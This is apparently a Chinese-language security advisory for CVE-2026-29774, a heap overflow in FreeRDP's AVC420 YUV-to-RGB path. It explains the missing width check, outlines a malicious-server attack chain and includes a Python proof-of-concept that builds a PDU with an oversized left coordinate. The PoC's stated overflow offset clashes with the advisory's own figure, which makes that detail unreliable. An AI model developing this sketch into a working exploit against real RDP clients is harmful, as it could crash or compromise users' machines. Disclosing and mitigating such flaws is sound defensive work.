IPBUF安全漏洞报告
English
CVE-2026-29774 CVSS 5.3 中危

CVE-2026-29774 FreeRDP AVC420/AVC444 YUV转RGB堆缓冲区溢出漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-29774
漏洞类型
缓冲区溢出
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FreeRDP

相关标签

缓冲区溢出堆溢出FreeRDPRDPAVC420YUVH.264客户端漏洞远程代码执行

漏洞概述

FreeRDP是Remote Desktop Protocol(RDP,远程桌面协议)的免费实现。在3.24.0之前的版本中,FreeRDP客户端的AVC420/AVC444 YUV到RGB转换路径存在客户端堆缓冲区溢出漏洞。漏洞源于yuv.c文件中的clamp()函数(第347行)仅对上下边界进行了表面/YUV高度验证,但未对左右边界进行表面宽度检查。当avc420_yuv_to_rgb函数(第67行)使用rect->left计算目标和源指针时,执行了未经验证的指针运算,可能超出分配的表面缓冲区范围。攻击者可通过恶意服务器发送包含AVC420编码的WIRE_TO_SURFACE_PDU_1,其中regionRects条目的left值远超表面宽度(例如在128像素表面上设置left=60000),导致写入超出分配堆区域1888+字节的数据。

技术细节

漏洞位于FreeRDP的libfreerdp/codec/yuv.c文件中。在YUV到RGB转换过程中,avc420_yuv_to_rgb函数通过计算pDstPoint = pDstData + rect->top * nDstStep + rect->left * 4来获取目标写入位置。问题在于clamp()函数仅验证rect->top和rect->bottom是否超出表面高度,但完全未检查rect->left和rect->right是否超出表面宽度。当攻击者构造恶意的H.264位流解码数据时,可指定极大的left坐标值(如60000),而此时表面可能仅有128像素宽度。计算后的目标指针将指向堆分配区域之外,函数随后以16字节SSE向量形式写入数据,导致堆缓冲区溢出。攻击成功后可造成客户端崩溃或潜在代码执行。漏洞已在3.24.0版本中修复。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意FreeRDP服务器,等待受害者连接
STEP 2
步骤2
受害者使用存在漏洞的FreeRDP客户端(<3.24.0)连接恶意服务器
STEP 3
步骤3
恶意服务器发送WIRE_TO_SURFACE_PDU_1数据包,包含AVC420编码的regionRects,其中left值设置为60000,远超表面宽度128
STEP 4
步骤4
FreeRDP客户端接收到H.264位流数据并成功解码,调用yuv420_process_work_callback
STEP 5
步骤5
avc420_yuv_to_rgb函数计算目标指针:pDstPoint = pDstData + rect->top * nDstStep + rect->left * 4,由于left未经验证,指向堆外区域
STEP 6
步骤6
函数以16字节SSE向量形式写入数据,导致堆缓冲区溢出,溢出偏移达1888+字节
STEP 7
步骤7
漏洞利用成功,可导致FreeRDP客户端崩溃或触发远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC: Malicious FreeRDP Server sending oversized rect->left # This PoC demonstrates the concept of crafting a malicious WIRE_TO_SURFACE_PDU_1 # with AVC420 codec containing regionRects with left value exceeding surface width import struct def craft_malicious_avc420_pdu(): """ Craft a malicious AVC420 PDU with oversized rect->left coordinate """ # Surface dimensions: 128x128 surface_width = 128 surface_height = 128 # Malicious left coordinate - far exceeds surface width malicious_left = 60000 malicious_top = 0 malicious_right = malicious_left + 16 malicious_bottom = 16 # Region rectangle structure (H.264 metablock) region_rect = struct.pack('<IIII', malicious_left, # left - exceeds surface width malicious_top, # top malicious_right, # right malicious_bottom # bottom ) # AVC420 header avc420_header = b'\x01\x04' # AVC420 codec identifier # Number of region rectangles num_rects = struct.pack('<I', 1) # Craft the complete PDU pdu = avc420_header + num_rects + region_rect # Add H.264 bitstream data (minimal valid data) # In real attack, this would be a complete H.264 stream h264_nalu = b'\x00\x00\x00\x01\x65' + b'\x00' * 100 pdu += h264_nalu return pdu def send_malicious_pdu(): """ Simulate sending malicious PDU to FreeRDP client """ pdu = craft_malicious_avc420_pdu() print(f"Crafted malicious PDU ({len(pdu)} bytes)") print(f"Malicious rect->left: 60000 (surface width: 128)") print(f"Overflow offset: {60000 * 4} bytes from buffer start") return pdu if __name__ == '__main__': send_malicious_pdu()

影响范围

FreeRDP < 3.24.0

防御指南

临时缓解措施
如果无法立即升级,可临时禁用FreeRDP的AVC420/AVC444编解码器支持,仅使用较旧的编解码器如YUV420。同时限制RDP连接来源,确保只连接到可信的RDP服务器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表